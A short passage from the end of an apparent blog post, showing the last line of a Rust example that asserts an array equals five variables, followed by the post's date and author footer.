    assert_eq!([1, 2, 1, 4, 5], [a, b, c, d, e]);

}
posted @ 2026-01-18 16:03  ziziranran  阅读(11)  评论(0)    收藏  举报
```html
```